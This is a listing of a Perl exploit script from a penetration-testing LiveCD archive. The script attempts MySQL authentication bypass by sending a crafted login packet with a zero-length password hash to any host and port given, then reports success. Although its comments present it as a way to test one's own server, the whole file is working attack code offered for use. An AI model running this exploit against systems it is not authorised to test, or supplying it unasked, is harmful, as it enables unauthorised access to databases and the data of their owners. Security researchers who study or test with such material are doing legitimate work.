home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / database / mysql / zerolength.pl < prev   
Encoding:
Perl Script  |  2005-02-12  |  3.2 KB  |  141 lines

  1. #!/usr/bin/perl
  2. #
  3. # The script connects to MySQL and attempts to log in using a zero-length password
  4. # Based on the vuln found by NGSSecurity
  5. #
  6. # The following Perl script can be used to test your version of MySQL. It will display 
  7. # the login packet sent to the server and it's reply.
  8. # Exploit copyright (c) 2004 by Eli Kara, Beyond Security
  9. # elik beyondsecurity com
  10. #
  11. use strict;
  12. use IO::Socket::INET;
  13.  
  14. usage() unless ((@ARGV >= 1) || (@ARGV <= 3));
  15.  
  16. my $username = shift(@ARGV);
  17. my $host = shift(@ARGV);
  18. if (!$host)
  19. {
  20.   usage();
  21. }
  22. my $port = shift(@ARGV);
  23. if (!$port)
  24. {
  25.  $port = 3306; print "Using default MySQL port (3306)\n";
  26. }
  27.  
  28. # create the socket
  29. my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
  30. $socket or die "Cannot connect to host!\n";
  31.  
  32. # receive greeting
  33. my $reply;
  34. recv($socket, $reply, 1024, 0);
  35. if (length($reply) < 7)
  36. {
  37.  print "Not allowed to connect to MySQL!\n";
  38.  exit(1);
  39. }
  40. print "Received greeting:\n";
  41. HexDump($reply);
  42. print "\n";
  43.  
  44. # here we define the login OK reply
  45. # my $login_ok = "\x01\x00\x00\x02\xFE";
  46.  
  47. # break the username string into chars and rebuild it
  48. my $binuser = pack("C*", unpack("C*", $username));
  49.  
  50. # send login caps packet with password
  51. my $packet = "\x85\xa6". 
  52.              "\x03\x00\x00".
  53.     "\x00".
  54.     "\x00\x01\x08\x00\x00\x00". # capabilities, max packet, etc..
  55.              "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  56.              "\x00\x00\x00\x00".$binuser."\x00\x14\x00\x00\x00\x00". # username and pword hash length + NULL hash
  57.              "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; # continue NULL hash
  58.  
  59. substr($packet, 0, 0) = pack("C1", length($packet)) . "\x00\x00\x01"; # MySQL message length + packet number (1)
  60.  
  61. print "Sending caps packet:\n";
  62. HexDump($packet);
  63. print "\n";
  64. send $socket, $packet, 0;
  65.  
  66. # receive reply
  67. recv($socket, $reply, 1024, 0);
  68. print "Received reply:\n";
  69. HexDump($reply);
  70.  
  71. my @list_bytes = unpack("C*", $reply);
  72.  
  73. #print "The fifth byte is: ", $list_bytes[4], "\n";
  74. if (length(@list_bytes) >= 4)
  75. {
  76.  print "Response insufficent\n";
  77. }
  78.  
  79. #if ($reply eq $login_ok)
  80. if ($list_bytes[4] == 0 || $list_bytes[4] == 254)
  81. {
  82.  print "Received OK reply, authentication successful!!\n";
  83. }
  84. else
  85. {
  86.  print "Authentication failed!\n";
  87. }
  88.  
  89. # close
  90. close($socket);
  91.  
  92.  
  93. sub usage
  94. {
  95.     # print usage information
  96.     print "\nUsage: mysql_auth_bypass_zeropass.pl <username> <host> [port]\n
  97. <username> - The DB username to authenticate as
  98. <host> - The host to connect to
  99. [port] - The TCP port which MySQL is listening on (optional, default is 3306)\n\n";
  100.     exit(1);
  101. }
  102.  
  103.  
  104. ###
  105. # do a hexdump of a string (assuming it's binary)
  106. ###
  107. sub HexDump
  108. {
  109.  my $buffer = $_[0];
  110.  
  111.  # unpack it into chars
  112.  my @up = unpack("C*", $buffer);
  113.  my $pos=0;
  114.  
  115.  # calculate matrix sizes
  116.  my $rows = int(@up/16);
  117.  my $leftover = int(@up%16);
  118.  
  119.  for( my $row=0; $row < $rows ; $row++, $pos+=16)
  120.  {
  121.   printf("%08X\t", $pos);
  122.   my @values = @up[$pos .. $pos+15];
  123.   my @line;
  124.   foreach my $val (@values)
  125.   {
  126.    push(@line, sprintf("%02X", $val));
  127.   }
  128.   print join(' ', @line), "\n";
  129.  }
  130.  # print last line
  131.  printf("%08X\t", $pos);
  132.  my @values = @up[$pos .. $pos+$leftover-1];
  133.  my @line;
  134.  foreach my $val (@values)
  135.  {
  136.   push(@line, sprintf("%02X", $val));
  137.  }
  138.  print join(' ', @line), "\n";
  139. }
  140.